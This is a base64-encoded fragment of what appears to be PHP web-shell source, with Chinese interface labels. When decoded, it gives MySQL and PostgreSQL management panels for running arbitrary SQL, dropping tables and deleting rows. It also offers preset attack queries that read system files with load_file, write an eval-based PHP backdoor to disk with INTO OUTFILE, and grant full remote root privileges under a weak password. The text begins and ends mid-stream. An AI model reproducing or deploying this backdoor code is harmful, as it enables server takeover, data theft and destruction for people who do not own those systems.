KCQkJCQlpZighZW1wdHkoJF9QT1NUWydtc3FsJ10pKQ0KCQkJCQl7DQoJCQkJCQkkbXNxbCA9ICRfUE9TVFsnbXNxbCddOw0KCQkJCQkJaWYoJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkbXNxbCwkY29ubikpDQoJCQkJCQl7DQoJCQkJCQkJJE1TR19CT1ggPSAn1rTQ0FNRTNPvvuSzybmmPGJyPic7DQoJCQkJCQkJJGsgPSAwOw0KCQkJCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRNU0dfQk9YIC49ICRyb3dbJGtdOyRrKys7fQ0KCQkJCQkJfQ0KCQkJCQkJZWxzZSAkTVNHX0JPWCAuPSBteXNxbF9lcnJvcigpOw0KCQkJCQl9DQoJCQkJCXByaW50PDw8RU5EDQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG5GdWxsKGkpew0KCVN0ciA9IG5ldyBBcnJheSgxMSk7DQoJU3RyWzBdID0gInNlbGVjdCB2ZXJzaW9uKCk7IjsNCglTdHJbMV0gPSAic2VsZWN0IGxvYWRfZmlsZSgweDYzM0E1QzVDNjI2RjZGNzQyRTY5NkU2OSkgRlJPTSB1c2VyIGludG8gb3V0ZmlsZSAnRDovL2EudHh0JyI7DQoJU3RyWzJdID0gInNlbGVjdCAnPD9waHAgZXZhbChcJF9QT1NUW2NtZF0pOz8+JyBpbnRvIG91dGZpbGUgJ0Y6Ly9hLnBocCc7IjsNCglTdHJbM10gPSAiR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gKi4qIFRPICdyb290J0AnJScgSURFTlRJRklFRCBCWSAnMTIzNDU2JyBXSVRIIEdSQU5UIE9QVElPTjsiOw0KCW5mb3JtLm1zcWwudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjx0ZXh0YXJlYSBuYW1lPSJtc3FsIiBzdHlsZT0id2lkdGg6NzAwcHg7aGVpZ2h0OjIwMHB4OyI+eyRtc3FsfTwvdGV4dGFyZWE+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG5GdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7P1Mq+sOaxvjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPrW8s/bOxLz+PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMiI+0LTI687EvP48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6/qsb0zeLBrDwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij4NCkVORDsNCgkJCQl9DQoJCQkJaWYoJE1TR19CT1ggIT0gJycpIGVjaG8gJzwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kTVNHX0JPWC4nPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7DQoJCQkJZWxzZSBlY2hvICc8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsNCgkJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkvL01ZU1FMudzA7Q0KCQlmdW5jdGlvbiBNeXNxbF9MZW4oJGRhdGEsJGxlbikNCgkJew0KCQkJaWYoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsNCgkJCXJldHVybiBzdWJzdHJfcmVwbGFjZSgkZGF0YSwnLi4uJywkbGVuKTsNCgkJfQ0KCQlmdW5jdGlvbiBNeXNxbF9Nc2coKQ0KCQl7DQoJCQkkY29ubiA9IEBteXNxbF9jb25uZWN0KCRfQ09PS0lFWydtX3NpbGljaG9zdCddLic6Jy4kX0NPT0tJRVsnbV9zaWxpY3BvcnQnXSwkX0NPT0tJRVsnbV9zaWxpY3VzZXInXSwkX0NPT0tJRVsnbV9zaWxpY3Bhc3MnXSk7DQoJCQlpZigkY29ubikNCgkJCXsNCgkJCQlwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBEZWxvayhtc2csZ291cmwpDQp7DQoJc21zZyA9ICLIt7ao0qrJvrP9WyIgKyB1bmVzY2FwZShtc2cpICsgIl3C8D8iOw0KCWlmKGNvbmZpcm0oc21zZykpe3dpbmRvdy5sb2NhdGlvbiA9IGdvdXJsO30NCn0NCmZ1bmN0aW9uIENyZWF0ZW9rKGFjKQ0Kew0KCWlmKGFjID09ICdhJykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSA9ICdDUkVBVEUgVEFCTEUgbmFtZSAoc3BpZGVyIEJMT0IpOyc7DQoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7DQoJaWYoYWMgPT0gJ2MnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0RST1AgREFUQUJBU0UgbmFtZTsnOw0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg0KRU5EOw0KCQkJCSRCT09MID0gZmFsc2U7DQoJCQkJJE1TR19CT1ggPSAn08O7pzonLiRfQ09PS0lFWydtX3NpbGljdXNlciddLicgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ILXY1rc6Jy4kX0NPT0tJRVsnbV9zaWxpY2hvc3QnXS4nOicuJF9DT09LSUVbJ21fc2lsaWNwb3J0J10uJyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgsOaxvjonOw0KCQkJCSRrID0gMDsNCgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCdzZWxlY3QgdmVyc2lvbigpOycsJGNvbm4pOw0KCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRNU0dfQk9YIC49ICRyb3dbJGtdOyRrKys7fQ0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+IMr9vt2/4jonOw0KCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVMiLCRjb25uKTsNCgkJCQl3aGlsZSgkZGIgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7ZWNobyAnJm5ic3A7Jm5ic3A7WzxhIGhyZWY9Ij9zPXImZGI9Jy4kZGJbJ0RhdGFiYXNlJ10uJyI+Jy4kZGJbJ0RhdGFiYXNlJ10uJzwvYT5dJzt9DQoJCQkJZWNobyAnPC9kaXY+JzsNCgkJCQlpZihpc3NldCgkX0dFVFsnZGInXSkpDQoJCQkJew0KCQkJCQlteXNxbF9zZWxlY3RfZGIoJF9HRVRbJ2RiJ10sJGNvbm4pOw0KCQkJCQlpZighZW1wdHkoJF9QT1NUWyduc3FsJ10pKXskQk9PTCA9IHRydWU7ICRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJF9QT1NUWyduc3FsJ10sJGNvbm4pID8gJ9a00NCzybmmJyA6ICfWtNDQyqew3CAnLm15c3FsX2Vycm9yKCk7fQ0KCQkJCQlpZihpc19hcnJheSgkX1BPU1RbJ2luc3FsJ10pKQ0KCQkJCQl7DQoJCQkJCQkkcXVlcnkgPSAnSU5TRVJUIElOVE8gJy4kX0dFVFsndGFibGUnXS4nICgnOw0KCQkJCQkJZm9yZWFjaCgkX1BPU1RbJ2luc3FsJ10gYXMgJHZhciA9PiAka2V5KQ0KCQkJCQkJew0KCQkJCQkJCSRxdWVyeWEgLj0gJHZhci4nLCc7DQoJCQkJCQkJJHF1ZXJ5YiAuPSAnXCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7DQoJCQkJCQl9DQoJCQkJCQkkcXVlcnkgPSAkcXVlcnkuc3Vic3RyKCRxdWVyeWEsIDAsIC0xKS4nKSBWQUxVRVMgKCcuc3Vic3RyKCRxdWVyeWIsIDAsIC0xKS4nKTsnOw0KCQkJCQkJJE1TR19CT1ggPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ8ztvNOzybmmJyA6ICfM7bzTyqew3CAnLm15c3FsX2Vycm9yKCk7DQoJCQkJCX0NCgkJCQkJaWYoaXNfYXJyYXkoJF9QT1NUWyd1cHNxbCddKSkNCgkJCQkJew0KCQkJCQkJJHF1ZXJ5ID0gJ1VQREFURSAnLiRfR0VUWyd0YWJsZSddLicgU0VUICc7DQoJCQkJCQlmb3JlYWNoKCRfUE9TVFsndXBzcWwnXSBhcyAkdmFyID0+ICRrZXkpDQoJCQkJCQl7DQoJCQkJCQkJJHF1ZXJ5YiAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7DQoJCQkJCQl9DQoJCQkJCQkkcXVlcnkgPSAkcXVlcnkuc3Vic3RyKCRxdWVyeWIsIDAsIC0xKS4nICcuYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3doZXJldmFyJ10pLic7JzsNCgkJCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfQ3rjEs8m5picgOiAn0N64xMqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJCQl9DQoJCQkJCWlmKGlzc2V0KCRfR0VUWydkZWwnXSkpDQoJCQkJCXsNCgkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZGVsJ10uJywgMTsnLCRjb25uKTsNCgkJCQkJCSRnb29kID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQoJCQkJCQkkcXVlcnkgPSAnREVMRVRFIEZST00gJy4kX0dFVFsndGFibGUnXS4nIFdIRVJFICc7DQoJCQkJCQlmb3JlYWNoKCRnb29kIGFzICR2YXIgPT4gJGtleSl7JHF1ZXJ5YyAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnIEFORCAnO30NCgkJCQkJCSR3aGVyZSA9ICRxdWVyeS5zdWJzdHIoJHF1ZXJ5YywgMCwgLTQpLic7JzsNCgkJCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHdoZXJlLCRjb25uKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJCQl9DQoJCQkJCSRhY3Rpb24gPSAnP3M9ciZkYj0nLiRfR0VUWydkYiddOw0KCQkJCQlpZihpc3NldCgkX0dFVFsnZHJvcCddKSl7JHF1ZXJ5ID0gJ0Ryb3AgVEFCTEUgSUYgRVhJU1RTICcuJF9HRVRbJ2Ryb3AnXS4nOyc7JE1TR19CT1ggPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3CAnLm15c3FsX2Vycm9yKCk7fQ0KCQkJCQlpZihpc3NldCgkX0dFVFsndGFibGUnXSkpeyRhY3Rpb24gLj0gJyZ0YWJsZT0nLiRfR0VUWyd0YWJsZSddO2lmKGlzc2V0KCRfR0VUWydlZGl0J10pKSAkYWN0aW9uIC49ICcmZWRpdD0nLiRfR0VUWydlZGl0J107fQ0KCQkJCQlpZihpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSAkYWN0aW9uIC49ICcmaW5zZXJ0PScuJF9HRVRbJ2luc2VydCddOw0KCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSInLiRhY3Rpb24uJyI+JzsNCgkJCQkJZWNobyAnPHRleHRhcmVhIG5hbWU9Im5zcWwiIGlkPSJuc3FsIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjUwcHg7Ij4nLiRfUE9TVFsnbnNxbCddLic8L3RleHRhcmVhPiAnOw0KCQkJCQllY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJxdWVyeXNxbCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyI+ICc7DQoJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ose0iIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdhXCcpIj4gJzsNCgkJCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrS0vai/4iIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2JcJykiPiAnOw0KCQkJCQllY2hvICc8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/b/iIiBzdHlsZT0id2lkdGg6NjBweDtoZWlnaHQ6NDlweDsiIG9uY2xpY2s9IkNyZWF0ZW9rKFwnY1wnKSI+PC9mb3JtPjwvZGl2Pic7DQoJCQkJCWVjaG8gJzxkaXYgY2xhc3M9Im1zZ2JveCIgc3R5bGU9ImhlaWdodDo0MHB4OyI+Jy4kTVNHX0JPWC4nPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyI+Jy4kX0dFVFsnZGInXS4nPC9hPiAtLS0+ICc7DQoJCQkJCWlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkNCgkJCQkJew0KCQkJCQkJZWNobyAnPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nIj4nLiRfR0VUWyd0YWJsZSddLic8L2E+ICc7DQoJCQkJCQllY2hvICdbPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJF9HRVRbJ3RhYmxlJ10uJyI+suXI6zwvYT5dPC9kaXY+JzsNCgkJCQkJCWlmKGlzc2V0KCRfR0VUWydlZGl0J10pKQ0KCQkJCQkJew0KCQkJCQkJCWlmKGlzc2V0KCRfR0VUWydwJ10pKSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXTsgZWxzZSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ107DQoJCQkJCQkJZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJGF0YWJsZS4nIj4nOw0KCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZWRpdCddLicsIDE7JywkY29ubik7DQoJCQkJCQkJJGdvb2QgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCgkJCQkJCQkkdSA9IDA7DQoJCQkJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpDQoJCQkJCQkJew0KCQkJCQkJCQkkcXVlcnljIC49ICR2YXIuJz1cJycuJGtleS4nXCcgQU5EICc7DQoJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOw0KCQkJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkdSk7DQoJCQkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kdmFyLicgPGZvbnQgY29sb3I9IiNGRjAwMDAiPicuJHR5cGUuJygnLiRsZW4uJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJ1cHNxbFsnLiR2YXIuJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPicuaHRtbHNwZWNpYWxjaGFycygka2V5KS4nPC90ZXh0YXJlYT48L2Rpdj4nOw0KCQkJCQkJCQkkdSsrOw0KCQkJCQkJCX0NCgkJCQkJCQkkd2hlcmUgPSAnV0hFUkUgJy5zdWJzdHIoJHF1ZXJ5YywgMCwgLTQpOw0KCQkJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJ3aGVyZXZhciIgbmFtZT0id2hlcmV2YXIiIHZhbHVlPSInLmJhc2U2NF9lbmNvZGUoJHdoZXJlKS4nIj4nOw0KCQkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwZGF0ZSIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkcXVlcnkgPSAnU0hPVyBDT0xVTU5TIEZST00gJy4kX0dFVFsndGFibGUnXTsNCgkJCQkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsNCgkJCQkJCQkkZmllbGRzID0gYXJyYXkoKTsNCgkJCQkJCQkkcm93X251bSA9IG15c3FsX251bV9yb3dzKG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ3RhYmxlJ10sJGNvbm4pKTsNCgkJCQkJCQlpZighaXNzZXQoJF9HRVRbJ3AnXSkpeyRwID0gMDskX0dFVFsncCddID0gMTt9IGVsc2UgJHAgPSAoKGludCkkX0dFVFsncCddLTEpKjIwOw0KCQkJCQkJCWVjaG8gJzx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOw0KCQkJCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo3MHB4OyIgbm93cmFwPrLZ1/c8L3RkPic7DQoJCQkJCQkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWFycmF5X3B1c2goJGZpZWxkcywkcm93WydGaWVsZCddKTsNCgkJCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgbm93cmFwPicuJHJvd1snRmllbGQnXS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQkJaWYoZXJlZ2koJ1dIRVJFfExJTUlUJywkX1BPU1RbJ25zcWwnXSkgJiYgZXJlZ2koJ1NFTEVDVHxGUk9NJywkX1BPU1RbJ25zcWwnXSkpICRxdWVyeSA9ICRfUE9TVFsnbnNxbCddOyBlbHNlICRxdWVyeSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ3RhYmxlJ10uJyBMSU1JVCAnLiRwLicsIDIwOyc7DQoJCQkJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCQkJJHYgPSAkcDsNCgkJCQkJCQl3aGlsZSgkdGV4dCA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddLicmZWRpdD0nLiR2LiciPiDQ3rjEIDwvYT4gJzsNCgkJCQkJCQkJZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCfL/FwnLFwnP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddLicmZGVsPScuJHYuJ1wnKTtyZXR1cm4gZmFsc2U7Ij4gyb6z/SA8L2E+PC90ZD4nOw0KCQkJCQkJCQlmb3JlYWNoKCRmaWVsZHMgYXMgJHJvdyl7ZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycyhNeXNxbF9MZW4oJHRleHRbJHJvd10sNTAwKSkpLic8L3RkPic7fQ0KCQkJCQkJCQllY2hvICc8L3RyPicuIlxyXG4iOyR2Kys7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdGFibGU+PGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkJCQkJCWZvcigkaSA9IDE7JGkgPD0gY2VpbCgkcm93X251bSAvIDIwKTskaSsrKXskayA9ICgoaW50KSRfR0VUWydwJ10gPT0gJGkpID8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj4nLiRpLic8L2ZvbnQ+JyA6ICRpO2VjaG8gJzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyZwPScuJGkuJyI+WycuJGsuJ108L2E+ICc7fQ0KCQkJCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWydpbnNlcnQnXSkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gJzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ2luc2VydCddLiciPicuJF9HRVRbJ2luc2VydCddLic8L2E+PC9kaXY+JzsNCgkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWydpbnNlcnQnXSwkY29ubik7DQoJCQkJCQkkZmllbGRudW0gPSBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCgkJCQkJCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWydpbnNlcnQnXS4nIj4nOw0KCQkJCQkJZm9yKCRpID0gMDskaSA8ICRmaWVsZG51bTskaSsrKQ0KCQkJCQkJew0KCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicuJG5hbWUuJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jy4kdHlwZS4nKCcuJGxlbi4nKTwvZm9udD48YnI+PHRleHRhcmVhIG5hbWU9Imluc3FsWycuJG5hbWUuJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPjwvdGV4dGFyZWE+PC9kaXY+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikluc2VydCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCSRxdWVyeSA9ICdTSE9XIFRBQkxFIFNUQVRVUyc7DQoJCQkJCQkkc3RhdHVzID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCQl3aGlsZSgkc3RhdHUgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHN0YXR1cykpDQoJCQkJCQl7DQoJCQkJCQkJJHN0YXR1c2l6ZVtdID0gJHN0YXR1WydEYXRhX2xlbmd0aCddOw0KCQkJCQkJCSRzdGF0dWNvbGxbXSA9ICRzdGF0dVsnQ29sbGF0aW9uJ107DQoJCQkJCQl9DQoJCQkJCQkkcXVlcnkgPSAnU0hPVyBUQUJMRVMgRlJPTSAnLiRfR0VUWydkYiddLic7JzsNCgkJCQkJCWVjaG8gJzwvZGl2Pjx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOw0KCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjU1MHB4OyI+ILHtw/sgPC90ZD4nOw0KCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gstnX9yA8L3RkPic7DQoJCQkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6MTMwcHg7Ij4g19a3+7yvIDwvdGQ+JzsNCgkJCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo3MHB4OyI+ILTz0KEgPC90ZD48L3RyPic7DQoJCQkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCQkkayA9IDA7DQoJCQkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpDQoJCQkJCQl7DQoJCQkJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiR0YWJsZVswXS4nIj4nLiR0YWJsZVswXS4nPC9hPjwvdGQ+JzsNCgkJCQkJCQllY2hvICc8dGQ+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJHRhYmxlWzBdLiciPiCy5cjrIDwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCcnLiR0YWJsZVswXS4nXCcsXCc/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZkcm9wPScuJHRhYmxlWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsNCgkJCQkJCQllY2hvICc8dGQ+Jy4kc3RhdHVjb2xsWyRrXS4nPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4nLkZpbGVfU2l6ZSgkc3RhdHVzaXplWyRrXSkuJzwvdGQ+PC90cj4nLiJcclxuIjsNCgkJCQkJCQkkaysrOw0KCQkJCQkJfQ0KCQkJCQkJZWNobyAnPC90YWJsZT4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZSBkaWUoJ8GsvdNNWVNRTMqnsNwsx+vW2NDCtcfCvS48bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0/cz1vIj4nKTsNCgkJCWlmKCEkQk9PTCkgZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnbnNxbFwnKS52YWx1ZSA9IFwnJy5hZGRzbGFzaGVzKCRxdWVyeSkuJ1wnOzwvc2NyaXB0Pic7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJLy9Qb3N0Z3JlU1FMstnX9w0KCQlmdW5jdGlvbiBQZ3Jfc3FsKCkNCgkJew0KCQkJJHBnaG9zdD0kX1BPU1RbJ3BnaG9zdCddID8gJF9QT1NUWydwZ2hvc3QnXTonJzsNCgkJCSRwZ3BvcnQ9JF9QT1NUWydwZ3BvcnQnXSA/ICRfUE9TVFsncGdwb3J0J106Jyc7DQoJCQkkcGd1c2VyPSRfUE9TVFsncGd1c2VyJ10gPyAkX1BPU1RbJ3BndXNlciddOidwb3N0Z3Jlcyc7DQoJCQkkcGdwYXNzPSRfUE9TVFsncGdwYXNzJ10gPyAkX1BPU1RbJ3BncGFzcyddOicnOw0KCQkJJHBnZGI9JF9QT1NUWydwZ2RiJ10gPyAkX1BPU1RbJ3BnZGInXToncG9zdGdyZXMnOw0KCQkJJHBncXVlcnk9JF9QT1NUWydwZ3NxbCddID8gJF9QT1NUWydwZ3NxbCddOidzZWxlY3QgdmVyc2lvbigpJzsNCgkJCSRwZ3F1ZXJ5PXN0cmlwc2xhc2hlcygkcGdxdWVyeSk7DQoJCQlwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBwZ0Z1bGwoaSl7DQpTdHIgPSBuZXcgQXJyYXkoNik7DQpTdHJbMF0gPSAic2VsZWN0IHZlcnNpb24oKTsiOw0KU3RyWzFdID0gInNlbGVjdCBkYXRuYW1lIGZyb20gcGdfZGF0YWJhc2U7IjsNClN0clsyXSA9ICJzZWxlY3QgRElTVElOQ1QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSdpbmZvcm1hdGlvbl9zY2hlbWEnIGxpbWl0IDEgb2Zmc2V0IG47IjsNClN0clszXSA9ICJzZWxlY3QgY29sdW1uX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd4eHgnIGxpbWl0IDEgb2Zmc2V0I